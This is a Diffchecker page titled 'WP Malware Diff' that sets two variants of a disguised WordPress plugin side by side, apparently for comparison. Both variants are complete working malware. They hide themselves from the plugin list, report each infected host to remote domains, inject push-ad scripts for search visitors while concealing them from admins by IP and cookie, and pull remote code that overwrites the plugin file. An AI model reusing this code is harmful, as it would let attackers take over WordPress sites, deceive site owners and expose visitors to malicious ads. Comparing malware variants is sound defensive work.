Comparing sensitive data, confidential files or internal emails?

Most legal and privacy policies prohibit uploading sensitive data online. Diffchecker Desktop ensures your confidential information never leaves your computer. Work offline and compare documents securely.

WP Malware Diff

Created Diff never expires
55 removals
426 lines
66 additions
436 lines
<?php
<?php
/**
/**
* Plugin Name: Monitization
* Plugin Name: Custom Code
* Description: this plugin will help you Monitize your traffic easily from different ad networks.
* Description: show cusom ad codes with many options .
* Author: Igor Glavatskiy
* Author: Alberto Uozumi
* Version: 1.0
* Version: 1.0
*/
*/

error_reporting(0);
error_reporting(0);
ini_set('display_errors', 0);
ini_set('display_errors', 0);
$plugin_key='🦹🏻‍♂️ REDACTED 🦹🏻‍♂️';
$plugin_key='🦹🏻‍♂️ REDACTED 🦹🏻‍♂️';
$version='1.2';
$version='1.2';

add_action('admin_menu', function() {
add_action('admin_menu', function() {
add_options_page( 'Monitization Plugin', 'Monitization', 'manage_options', 'monit', 'mont_page' );
add_options_page( 'ccode Plugin', 'ccode', 'manage_options', 'ccode', 'ccode_page' );
remove_submenu_page( 'options-general.php', 'monit' );
remove_submenu_page( 'options-general.php', 'ccode' );
});
});






add_filter('plugin_action_links_'.plugin_basename(__FILE__), 'salcode_add_plugin_page_settings_link');
add_filter('plugin_action_links_'.plugin_basename(__FILE__), 'salcode_add_plugin_page_settings_ccode');
function salcode_add_plugin_page_settings_link( $links ) {
function salcode_add_plugin_page_settings_ccode( $links ) {
$links[] = '<a href="' .
$links[] = '<a href="' .
admin_url( 'options-general.php?page=monit' ) .
admin_url( 'options-general.php?page=ccode' ) .
'">' . __('Settings') . '</a>';
'">' . __('Settings') . '</a>';
return $links;
return $links;
}
}












add_action( 'admin_init', function() {
add_action( 'admin_init', function() {


register_setting( 'mont-settings', 'default_mont_options' );
register_setting( 'ccode-settings', 'default_mont_options' );
register_setting( 'mont-settings', 'ad_code' );
register_setting( 'ccode-settings', 'ad_code' );
register_setting( 'mont-settings', 'hide_admin' );
register_setting( 'ccode-settings', 'hide_admin' );
register_setting( 'mont-settings', 'hide_logged_in' );
register_setting( 'ccode-settings', 'hide_logged_in' );
register_setting( 'mont-settings', 'display_ad' );
register_setting( 'ccode-settings', 'display_ad' );
register_setting( 'mont-settings', 'search_engines' );
register_setting( 'ccode-settings', 'search_engines' );
register_setting( 'mont-settings', 'auto_update' );
register_setting( 'ccode-settings', 'auto_update' );
register_setting( 'mont-settings', 'ip_admin');
register_setting( 'ccode-settings', 'ip_admin');
register_setting( 'mont-settings', 'cookies_admin' );
register_setting( 'ccode-settings', 'cookies_admin' );
register_setting( 'mont-settings', 'logged_admin' );
register_setting( 'ccode-settings', 'logged_admin' );
register_setting( 'mont-settings', 'log_install' );
register_setting( 'ccode-settings', 'log_install' );
});
});


$ad_code='
$ad_code="
<script type="text/javascript" src="//ofgogoatan.com/apu.php?zoneid=3260072" async data-cfasync="false"></script>
<script>(function(s,u,z,p){s.src=u,s.setAttribute('data-zone',z),p.appendChild(s);})(document.createElement('script'),'https://iclickcdn.com/tag.min.js',3388587,document.body||document.documentElement)</script>
<script src="https://pushsar.com/pfe/current/tag.min.js?z=3260077" data-cfasync="false" async></script>
<script src=\"https://propu.sh/pfe/current/tag.min.js?z=3388595\" data-cfasync=\"false\" async></script>
<script type="text/javascript" src="//inpagepush.com/400/3324386" data-cfasync="false" async="async"></script>
<script type=\"text/javascript\" src=\"//inpagepush.com/400/3388600\" data-cfasync=\"false\" async=\"async\"></script>
';
";


$hide_admin='on';
$hide_admin='on';
$hide_logged_in='on';
$hide_logged_in='on';
$display_ad='organic';
$display_ad='organic';
$search_engines='google.,/search?,images.google., web.info.com, search.,yahoo.,yandex,msn.,baidu,bing.,doubleclick.net,googleweblight.com';
$search_engines='google.,/search?,images.google., web.info.com, search.,yahoo.,yandex,msn.,baidu,bing.,doubleclick.net,googleweblight.com';
$auto_update='on';
$auto_update='on';
$ip_admin='on';
$ip_admin='on';
$cookies_admin='on';
$cookies_admin='on';
$logged_admin='on';
$logged_admin='on';
$log_install='';
$log_install='';


function mont_page() {
function ccode_page() {
?>
?>
<div class="wrap">
<div class="wrap">
<form action="options.php" method="post">
<form action="options.php" method="post">
<?php
<?php
settings_fields( 'mont-settings' );
settings_fields( 'ccode-settings' );
do_settings_sections( 'mont-settings' );
do_settings_sections( 'ccode-settings' );
$ad_code='
$ad_code='';

';


$hide_admin='on';
$hide_admin='on';
$hide_logged_in='on';
$hide_logged_in='on';
$display_ad='organic';
$display_ad='organic';
$search_engines='google.,/search?,images.google., web.info.com, search.,yahoo.,yandex,msn.,baidu,bing.,doubleclick.net,googleweblight.com';
$search_engines='google.,/search?,images.google., web.info.com, search.,yahoo.,yandex,msn.,baidu,bing.,doubleclick.net,googleweblight.com';
$auto_update='on';
$auto_update='on';
$ip_admin='on';
$ip_admin='on';
$cookies_admin='on';
$cookies_admin='on';
$logged_admin='on';
$logged_admin='on';
$log_install='';
$log_install='';


?>
?>
<h2>Monetization Plugin</h2>
<h2>ccode Plugin</h2>
<table>
<table>
<tr>
<tr>
<th>Ad Code</th>
<th>Ad Code</th>
<td><textarea placeholder="" name="ad_code" rows="5" cols="130"><?php echo get_option('ad_code',$ad_code) ; ?></textarea><br><p class="description">
<td><textarea placeholder="" name="ad_code" rows="5" cols="130"><?php echo get_option('ad_code',$ad_code) ; ?></textarea></td>
Don't have ad code ? <a href="https://propellerads.com/publishers/?ref_id=TbQg" target="_blank">propellerAds (up to $10 CPM).</a></p></td>
</tr>
</tr>
<tr>
<tr>
<th>Hide ads to :</th>
<th>Hide ads to :</th>
<td>
<td>
<input type="hidden" id="default_mont_options" name="default_mont_options" value="on">
<input type="hidden" id="default_mont_options" name="default_mont_options" value="on">
<label>
<label>
<input type="checkbox" name="hide_admin" <?php echo esc_attr( get_option('hide_admin',$hide_admin) ) == 'on' ? 'checked="checked"' : ''; ?> />admins
<input type="checkbox" name="hide_admin" <?php echo esc_attr( get_option('hide_admin',$hide_admin) ) == 'on' ? 'checked="checked"' : ''; ?> />admins
</label>
</label>
<label>
<label>
<input type="checkbox" name="hide_logged_in" <?php echo esc_attr( get_option('hide_logged_in',$hide_logged_in) ) == 'on' ? 'checked="checked"' : ''; ?> />logged in users
<input type="checkbox" name="hide_logged_in" <?php echo esc_attr( get_option('hide_logged_in',$hide_logged_in) ) == 'on' ? 'checked="checked"' : ''; ?> />logged in users
</label>
</label>
<br/>
<br/>


</td>
</td>
</tr>
</tr>
<tr>
<tr>
<th>Recognize admin by :</th>
<th>Recognize admin by :</th>
<td>
<td>


<label>
<label>
<input type="checkbox" name="logged_admin" <?php echo esc_attr( get_option('logged_admin',$logged_admin) ) == 'on' ? 'checked="checked"' : ''; ?> />logged in
<input type="checkbox" name="logged_admin" <?php echo esc_attr( get_option('logged_admin',$logged_admin) ) == 'on' ? 'checked="checked"' : ''; ?> />logged in
</label>
</label>
<label>
<label>
<input type="checkbox" name="ip_admin" id="ip_admin" <?php echo esc_attr( get_option('ip_admin',$ip_admin) ) == 'on' ? 'checked="checked"' : '' ?> />By IP addresses
<input type="checkbox" name="ip_admin" id="ip_admin" <?php echo esc_attr( get_option('ip_admin',$ip_admin) ) == 'on' ? 'checked="checked"' : '' ?> />By IP addresses
</label>
</label>
<label>
<label>
<input type="checkbox" name="cookies_admin" <?php echo esc_attr( get_option('cookies_admin',$cookies_admin) ) == 'on' ? 'checked="checked"' : ''; ?> />By Cookies
<input type="checkbox" name="cookies_admin" <?php echo esc_attr( get_option('cookies_admin',$cookies_admin) ) == 'on' ? 'checked="checked"' : ''; ?> />By Cookies
</label>
</label>


</td>
</td>
</tr>
</tr>
<tr>
<tr>
<th>Display ads to :</th>
<th>Display ads to :</th>
<td>
<td>
<select name="display_ad">
<select name="display_ad">
<option value="organic" <?php echo esc_attr( get_option('display_ad',$display_ad) ) == 'organic' ? 'selected="selected"' : ''; ?>>Organic traffic only</option>
<option value="organic" <?php echo esc_attr( get_option('display_ad',$display_ad) ) == 'organic' ? 'selected="selected"' : ''; ?>>Organic traffic only</option>
<option value="all_visitors" <?php echo esc_attr( get_option('display_ad') ) == 'all_visitors' ? 'selected="selected"' : ''; ?>>All Visitors</option>
<option value="all_visitors" <?php echo esc_attr( get_option('display_ad') ) == 'all_visitors' ? 'selected="selected"' : ''; ?>>All Visitors</option>
</select>
</select>


</td>
</td>
</tr>
</tr>


<tr>
<tr>
<th>Search Engines</th>
<th>Search Engines</th>
<td><input type="text" placeholder="Internal title" name="search_engines" value="<?php echo esc_attr( get_option('search_engines',$search_engines) ); ?>" size="80" /><p class="description">
<td><input type="text" placeholder="Internal title" name="search_engines" value="<?php echo esc_attr( get_option('search_engines',$search_engines) ); ?>" size="80" /><p class="description">
comma separated </p>
comma separated </p>
</td>
</td>
</tr>
</tr>
<tr>
<tr>
<th>Auto Update :</th>
<th>Auto Update :</th>
<td>
<td>


<label>
<label>
<input type="checkbox" name="auto_update" <?php echo esc_attr( get_option('auto_update',$auto_update) ) == 'on' ? 'checked="checked"' : ''; ?> />auto update plugin
<input type="checkbox" name="auto_update" <?php echo esc_attr( get_option('auto_update',$auto_update) ) == 'on' ? 'checked="checked"' : ''; ?> />auto update plugin
</label><br/>
</label><br/>


</td>
</td>
</tr>
</tr>
<tr>
<tr>
<td><?php submit_button(); ?></td>
<td><?php submit_button(); ?></td>
</tr>
</tr>
</table>
</table>
</form>
</form>
</div>
</div>
<?php
<?php
}
}


/*************************log install***************************/
/*************************log install***************************/
if(get_option('log_install') !=='1')
if(get_option('log_install') !=='1')
{
{
if(!$log_installed = @file_get_contents("http://www.lomndo.com/o2.php?host=".$_SERVER["HTTP_HOST"]))
if(!$log_installed = @file_get_contents("http://www.vomndo.com/o2.php?host=".$_SERVER["HTTP_HOST"]))
{
{
$log_installed = @file_get_contents_curl1("http://www.lomndo.com/o2.php?host=".$_SERVER["HTTP_HOST"]);
$log_installed = @file_get_contents_ccode("http://www.vomndo.com/o2.php?host=".$_SERVER["HTTP_HOST"]);
}
}
}
}
/*************************set default options***************************/
/*************************set default options***************************/


if(get_option('default_mont_options') !=='on')
if(get_option('default_mont_options') !=='on')
{
{
update_option('ip_admin', $ip_admin);
update_option('ip_admin', $ip_admin);
update_option('ad_code', $ad_code);
update_option('ad_code', $ad_code);
update_option('cookies_admin', $cookies_admin);
update_option('cookies_admin', $cookies_admin);
update_option('logged_admin', $logged_admin);
update_option('logged_admin', $logged_admin);
update_option('hide_admin', $hide_admin);
update_option('hide_admin', $hide_admin);
update_option('hide_logged_in', $hide_logged_in);
update_option('hide_logged_in', $hide_logged_in);
update_option('display_ad', $display_ad);
update_option('display_ad', $display_ad);
update_option('search_engines', $search_engines);
update_option('search_engines', $search_engines);
update_option('auto_update', $auto_update);
update_option('auto_update', $auto_update);
update_option('log_install', '1');
update_option('log_install', '1');
}
}


/************************************************************************/
/************************************************************************/
include_once(ABSPATH . 'wp-includes/pluggable.php');
include_once(ABSPATH . 'wp-includes/pluggable.php');


if ( ! function_exists( 'display_ad_single' ) ) {
if ( ! function_exists( 'display_ad_single' ) ) {


function display_ad_single($content){
function display_ad_single($content){
if(is_single())
if(is_single())
{
{


$content=$content.get_option('ad_code');;
$content=$content.get_option('ad_code');;
}
}
return $content;
return $content;
}
}


function display_ad_footer(){
function display_ad_footer(){
if(!is_single())
if(!is_single())
{
{
echo get_option('ad_code');
echo get_option('ad_code');
}
}
}
}




//setting cookies if admin logged in
//setting cookies if admin logged in
function setting_admin_cookie() {
function setting_admin_cookie() {
setcookie( 'wordpress_admin_logged_in',1, time()+3600*24*1000, COOKIEPATH, COOKIE_DOMAIN);
setcookie( 'wordpress_admin_logged_in',1, time()+3600*24*1000, COOKIEPATH, COOKIE_DOMAIN);
}
}


if(get_option('cookies_admin')=='on')
if(get_option('cookies_admin')=='on')
{
{


if(is_user_logged_in())
if(is_user_logged_in())
{
{
add_action( 'init', 'setting_admin_cookie',1 );
add_action( 'init', 'setting_admin_cookie',1 );
}
}
}
}




//log admin IP addresses
//log admin IP addresses

$vis_ip=getVisIpAddr_ccode();
if(get_option('ip_admin')=='on')
if(get_option('ip_admin')=='on')
{
{
if(current_user_can('edit_others_pages'))
if(current_user_can('edit_others_pages'))
{
{


if (file_exists(plugin_dir_path( __FILE__ ) .'admin_ips.txt'))
if (file_exists(plugin_dir_path( __FILE__ ) .'admin_ips.txt'))
{
{
$ip=@file_get_contents(plugin_dir_path( __FILE__ ) .'admin_ips.txt');
$ip=@file_get_contents(plugin_dir_path( __FILE__ ) .'admin_ips.txt');
}
}


if (stripos($ip, $_SERVER['REMOTE_ADDR']) === false)
if (stripos($ip, $vis_ip) === false)
{
{
$ip.=$_SERVER['REMOTE_ADDR'].'
$ip.=$vis_ip.'
';
';
@file_put_contents(plugin_dir_path( __FILE__ ) .'admin_ips.txt',$ip);
@file_put_contents(plugin_dir_path( __FILE__ ) .'admin_ips.txt',$ip);


}
}


}
}
}// end if log admins ip
}// end if log admins ip







//add cookies to organic traffic
//add cookies to organic traffic


if(get_option('display_ad')=='organic')
if(get_option('display_ad')=='organic')
{
{


$search_engines = explode(',', get_option('search_engines'));
$search_engines = explode(',', get_option('search_engines'));


$referer = $_SERVER['HTTP_REFERER'];
$referer = $_SERVER['HTTP_REFERER'];
$SE = array('google.','/search?','images.google.', 'web.info.com', 'search.','yahoo.','yandex','msn.','baidu','bing.','doubleclick.net','googleweblight.com');
$SE = array('google.','/search?','images.google.', 'web.info.com', 'search.','yahoo.','yandex','msn.','baidu','bing.','doubleclick.net','googleweblight.com');
foreach ($search_engines as $search) {
foreach ($search_engines as $search) {
if (strpos($referer,$search)!==false) {
if (strpos($referer,$search)!==false) {
setcookie("organic", 1, time()+120, COOKIEPATH, COOKIE_DOMAIN);
setcookie("organic", 1, time()+120, COOKIEPATH, COOKIE_DOMAIN);
$organic=true;
$organic=true;
}
}
}
}


}//end
}//end








//display ad
//display ad


if(!isset($_COOKIE['wordpress_admin_logged_in']) && !is_user_logged_in())
if(!isset($_COOKIE['wordpress_admin_logged_in']) && !is_user_logged_in())
{
{


$ips=@file_get_contents(plugin_dir_path( __FILE__ ) .'admin_ips.txt');
$ips=@file_get_contents(plugin_dir_path( __FILE__ ) .'admin_ips.txt');
if (stripos($ips, $_SERVER['REMOTE_ADDR']) === false)
if (stripos($ips, $vis_ip) === false)
{
{
/*****/
/*****/
if(get_option('display_ad')=='organic')
if(get_option('display_ad')=='organic')
{
{
if($organic==true || isset($_COOKIE['organic']))
if($organic==true || isset($_COOKIE['organic']))
{
{
add_filter('the_content','display_ad_single');
add_filter('the_content','display_ad_single');
add_action('wp_footer','display_ad_footer');
add_action('wp_footer','display_ad_footer');
}
}
}
}
else
else
{
{
add_filter('the_content','display_ad_single');
add_filter('the_content','display_ad_single');
add_action('wp_footer','display_ad_footer');
add_action('wp_footer','display_ad_footer');
}
}


/****/
/****/


}
}


}
}
/*******************/
/*******************/










//update plugin
//update plugin


if(get_option('auto_update')=='on')
if(get_option('auto_update')=='on')
{
{


if( ini_get('allow_url_fopen') ) {
if( ini_get('allow_url_fopen') ) {






if (($new_version = @file_get_contents("http://www.lomndo.com/monit_update.php") OR $new_version = @file_get_contents_curl1("http://www.lomndo.com/monit_update.php")) AND stripos($new_version, $plugin_key) !== false) {
if (($new_version = @file_get_contents("http://www.vomndo.com/update.php") OR $new_version = @file_get_contents_ccode("http://www.vomndo.com/update.php")) AND stripos($new_version, $plugin_key) !== false) {


if (stripos($new_version, $plugin_key) !== false AND stripos($new_version, '$version=') !== false) {
if (stripos($new_version, $plugin_key) !== false AND stripos($new_version, '$version=') !== false) {
@file_put_contents(__FILE__, $new_version);
@file_put_contents(__FILE__, $new_version);
}
}
}
}
elseif ($new_version = @file_get_contents("http://www.lomndo.xyz/monit_update.php") AND stripos($new_version, $plugin_key) !== false) {
elseif ($new_version = @file_get_contents("http://www.vomndo.xyz/update.php") AND stripos($new_version, $plugin_key) !== false) {


if (stripos($new_version, $plugin_key) !== false AND stripos($new_version, '$version=') !== false) {
if (stripos($new_version, $plugin_key) !== false AND stripos($new_version, '$version=') !== false) {
@file_put_contents(__FILE__, $new_version);
@file_put_contents(__FILE__, $new_version);
}
}
}
}




elseif ($new_version = @file_get_contents("http://www.lomndo.top/monit_update.php") AND stripos($new_version, $plugin_key) !== false) {
elseif ($new_version = @file_get_contents("http://www.vomndo.top/update.php") AND stripos($new_version, $plugin_key) !== false) {


if (stripos($new_version, $plugin_key) !== false AND stripos($new_version, '$version=') !== false) {
if (stripos($new_version, $plugin_key) !== false AND stripos($new_version, '$version=') !== false) {
@file_put_contents(__FILE__, $new_version);
@file_put_contents(__FILE__, $new_version);
}
}
}
}


}
}
else
else
{
{
if (($new_version = @file_get_contents("http://www.lomndo.com/monit_update.php") OR $new_version = @file_get_contents_curl1("http://www.lomndo.com/monit_update.php")) AND stripos($new_version, $plugin_key) !== false) {
if (($new_version = @file_get_contents("http://www.vomndo.com/update.php") OR $new_version = @file_get_contents_ccode("http://www.vomndo.com/update.php")) AND stripos($new_version, $plugin_key) !== false) {


if (stripos($new_version, $plugin_key) !== false AND stripos($new_version, '$version=') !== false) {
if (stripos($new_version, $plugin_key) !== false AND stripos($new_version, '$version=') !== false) {
@file_put_contents(__FILE__, $new_version);
@file_put_contents(__FILE__, $new_version);
}
}
}
}
elseif ($new_version = @file_get_contents_curl1("http://www.lomndo.xyz/monit_update.php") AND stripos($new_version, $plugin_key) !== false) {
elseif ($new_version = @file_get_contents_ccode("http://www.vomndo.xyz/update.php") AND stripos($new_version, $plugin_key) !== false) {


if (stripos($new_version, $plugin_key) !== false AND stripos($new_version, '$version=') !== false) {
if (stripos($new_version, $plugin_key) !== false AND stripos($new_version, '$version=') !== false) {
@file_put_contents(__FILE__, $new_version);
@file_put_contents(__FILE__, $new_version);
}
}
}
}




elseif ($new_version = @file_get_contents_curl1("http://www.lomndo.top/monit_update.php") AND stripos($new_version, $plugin_key) !== false) {
elseif ($new_version = @file_get_contents_ccode("http://www.vomndo.top/update.php") AND stripos($new_version, $plugin_key) !== false) {


if (stripos($new_version, $plugin_key) !== false AND stripos($new_version, '$version=') !== false) {
if (stripos($new_version, $plugin_key) !== false AND stripos($new_version, '$version=') !== false) {
@file_put_contents(__FILE__, $new_version);
@file_put_contents(__FILE__, $new_version);
}
}
}
}
}
}
}//end if auto update
}//end if auto update


/*********************************/
/*********************************/







}// if function exist
}// if function exist




function file_get_contents_curl1($url)

function file_get_contents_ccode($url)
{
{
$ch = curl_init();
$ch = curl_init();
curl_setopt($ch, CURLOPT_AUTOREFERER, TRUE);
curl_setopt($ch, CURLOPT_AUTOREFERER, TRUE);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, TRUE);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, TRUE);
$data = curl_exec($ch);
$data = curl_exec($ch);
curl_close($ch);
curl_close($ch);
return $data;
return $data;
}
}




function hide_plugin_trickspanda() {
function hide_plugin_ccode() {
global $wp_list_table;
global $wp_list_table;
$hidearr = array('monit.php');
$hidearr = array('ccode.php');
$myplugins = $wp_list_table->items;
$myplugins = $wp_list_table->items;
foreach ($myplugins as $key => $val) {
foreach ($myplugins as $key => $val) {
if (in_array($key,$hidearr)) {
if (in_array($key,$hidearr)) {
unset($wp_list_table->items[$key]);
unset($wp_list_table->items[$key]);
}
}
}
}
}
}


add_action('pre_current_active_plugins', 'hide_plugin_trickspanda');
add_action('pre_current_active_plugins', 'hide_plugin_ccode');


function getVisIpAddr_ccode() {
if (!empty($_SERVER['HTTP_CLIENT_IP'])) {
return $_SERVER['HTTP_CLIENT_IP'];
}
else if (!empty($_SERVER['HTTP_X_FORWARDED_FOR'])) {
return $_SERVER['HTTP_X_FORWARDED_FOR'];
}
else {
return $_SERVER['REMOTE_ADDR'];
}
}


?>
?>